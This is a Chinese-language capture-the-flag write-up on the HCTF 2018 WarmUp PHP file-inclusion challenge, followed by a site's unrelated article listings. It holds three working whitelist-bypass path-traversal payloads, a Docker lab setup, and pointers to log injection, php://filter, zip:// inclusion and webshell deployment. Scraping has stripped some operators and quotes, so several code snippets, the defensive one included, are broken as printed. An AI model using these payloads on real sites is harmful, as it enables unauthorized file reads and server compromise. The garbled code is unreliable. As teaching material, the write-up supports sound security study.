PHP 文件包含漏洞实战:HCTF 2018 WarmUp 代码审计与3种Payload构造解析 PHP文件包含漏洞深度解析从HCTF 2018 WarmUp看白名单绕过艺术漏洞背景与场景还原2018年HCTF竞赛中的WarmUp题目成为了PHP文件包含漏洞的经典教学案例。这道题看似简单的笑脸页面背后隐藏着对PHP文件包含机制和安全校验逻辑的深度考验。题目通过一个精心设计的checkFile函数要求攻击者在严格的白名单限制下实现任意文件读取。文件包含漏洞在Web安全领域始终占据重要地位。根据近年来的安全报告由于错误配置或逻辑缺陷导致的文件包含问题约占所有Web漏洞的15%。这类漏洞的危害不仅在于敏感信息泄露更可能成为服务器沦陷的突破口。代码审计三层防御机制拆解让我们深入分析题目中的核心校验逻辑。emmm类的checkFile方法构建了三道防御关卡class emmm { public static function checkFile($page) { $whitelist [sourcesource.php,hinthint.php]; // 第一层基础校验 if (!isset($page) || !is_string($page)) { echo you cant see it; return false; } // 第二层直接匹配 if (in_array($page, $whitelist)) { return true; } // 第三层问号截断检查 $_page mb_substr($page, 0, mb_strpos($page.?, ?)); if (in_array($_page, $whitelist)) { return true; } // 第四层URL解码后检查 $_page urldecode($page); $_page mb_substr($_page, 0, mb_strpos($_page.?, ?)); if (in_array($_page, $whitelist)) { return true; } echo you cant see it; return false; } }这个校验机制看似严密实则存在多个突破点。我们需要特别关注几个关键函数函数名称作用描述安全影响mb_substr多字节安全的字符串截取可能被用于路径截断mb_strpos多字节安全的字符串位置查找配合截取实现逻辑绕过urldecodeURL解码双重编码绕过可能性突破路径三种有效Payload构造方法一基础路径穿越最直接的思路是利用白名单文件作为跳板进行目录穿越source.php?../../../../../../../../ffffllllaaaagggg工作原理mb_strpos检测到问号截取前10个字符source.php截取后的结果匹配白名单校验通过实际包含时问号后的路径被解释为相对路径注意这种方法的成功率取决于服务器配置某些环境会严格解析问号前的路径方法二单次URL编码绕过当基础方法失效时可以尝试对关键字符进行编码source.php%3f../../../../../../../../ffffllllaaaagggg技术细节%3f是问号的URL编码校验时urldecode会解码为原始问号包含阶段仍保持编码状态可能绕过某些安全限制方法三双重URL编码终极绕过对于更严格的过滤环境可以采用二次编码策略source.php%253f../../../../../../../../ffffllllaaaagggg执行流程第一层urldecode将%253f转换为%3f第二层处理时%3f再解码为问号最终实现与基础方法相同的效果但能绕过更多防御漏洞复现环境搭建为了深入理解漏洞原理建议搭建本地测试环境。以下是使用Docker快速搭建的指南FROM php:7.2-apache COPY src/ /var/www/html/ RUN chmod -R 755 /var/www/html配套的PHP测试代码保存为source.php?php $file $_GET[file]; if (emmm::checkFile($file)) { include($file); } else { echo Access denied!; }启动命令docker build -t warmup . docker run -d -p 8080:80 warmup防御方案与最佳实践针对此类漏洞我们推荐多层防御策略输入验证层使用绝对路径白名单而非相对路径禁止包含用户可控变量中的路径穿越符服务器配置层Directory /var/www Options -Indexes -Includes AllowOverride None /Directory代码实现层function safeInclude($file) { $base /var/www/safe_dir/; $real realpath($base . $file); if (strpos($real, $base) 0 file_exists($real)) { include $real; } }漏洞利用的进阶思考在实际渗透测试中文件包含漏洞往往与其他漏洞形成组合拳。例如结合日志注入实现代码执行利用PHP伪协议如php://filter读取源码配合文件上传实现webshell部署一个有趣的技巧是使用zip://协议include(zip:///path/to/archive.zip%23malicious.php)这种技术可以绕过某些基础的文件扩展名检查。

相关新闻

最新新闻

C++点云投影面积计算工具:格网统计+边界多边形鞋带公式双算法实现

C++点云投影面积计算工具:格网统计+边界多边形鞋带公式双算法实现

本文还有配套的精品资源,点击获取 简介:这个C工具专门用于从三维点云数据中快速估算其在XY平面(或其他指定投影面)上的覆盖面积。核心功能包含两种互补算法:一是格网法,把投影区域均匀划分为小方格&…

2026/7/7 20:13:06
MATLAB多通道语音处理工具包:集成MVDR、FastICA、AuxIVA、ILRMA等10+主流增强与分离算法

MATLAB多通道语音处理工具包:集成MVDR、FastICA、AuxIVA、ILRMA等10+主流增强与分离算法

本文还有配套的精品资源,点击获取 简介:一套即装即用的MATLAB语音信号处理资源,专为多麦克风阵列场景设计,支持真实房间环境下的语音增强与混叠源分离。内置波束形成类算法(MVDR、DSB、LCMV)、盲源分离类…

2026/7/7 20:13:06
网络安全实战:漏洞利用与提权全流程解析

网络安全实战:漏洞利用与提权全流程解析

1. 项目概述:从“知道”到“做到”的实战路径在网络安全领域,无论是从事渗透测试、红队评估还是安全研究,“漏洞利用与提权”都是一个绕不开的核心技能。很多初学者拿到一个目标系统,可能知道它存在某个漏洞,但如何将理…

2026/7/7 20:13:06
gala-spider开发者指南:如何添加自定义观测对象

gala-spider开发者指南:如何添加自定义观测对象

gala-spider开发者指南:如何添加自定义观测对象 【免费下载链接】gala-spider An OS-level topology awareness service and a cause inference service. 项目地址: https://gitcode.com/openeuler/gala-spider 前往项目官网免费下载:https://ar.…

2026/7/7 20:13:06
4S店车辆销售与维修一体化管理系统(SpringBoot+Vue+MySQL完整工程包)

4S店车辆销售与维修一体化管理系统(SpringBoot+Vue+MySQL完整工程包)

本文还有配套的精品资源,点击获取 简介:直接可运行的4S店业务管理源码,覆盖车辆进销存、销售订单、维修工单、客户档案、供应商管理、保险服务、配件物资等核心模块。后端基于SpringBoot 2.x构建,整合MyBatis、Spring MVC、Spr…

2026/7/7 20:13:06
AI智能体安全实战:六层防御体系与红队攻击模拟

AI智能体安全实战:六层防御体系与红队攻击模拟

1. 项目概述:为什么我们需要为AI智能体构建“六层盾牌”?在AI技术,尤其是大模型驱动的智能体(AI Agent)日益渗透到企业核心业务流程的今天,一个严峻的现实是:我们正在将前所未有的决策权和数据访…

2026/7/7 20:08:06

月新闻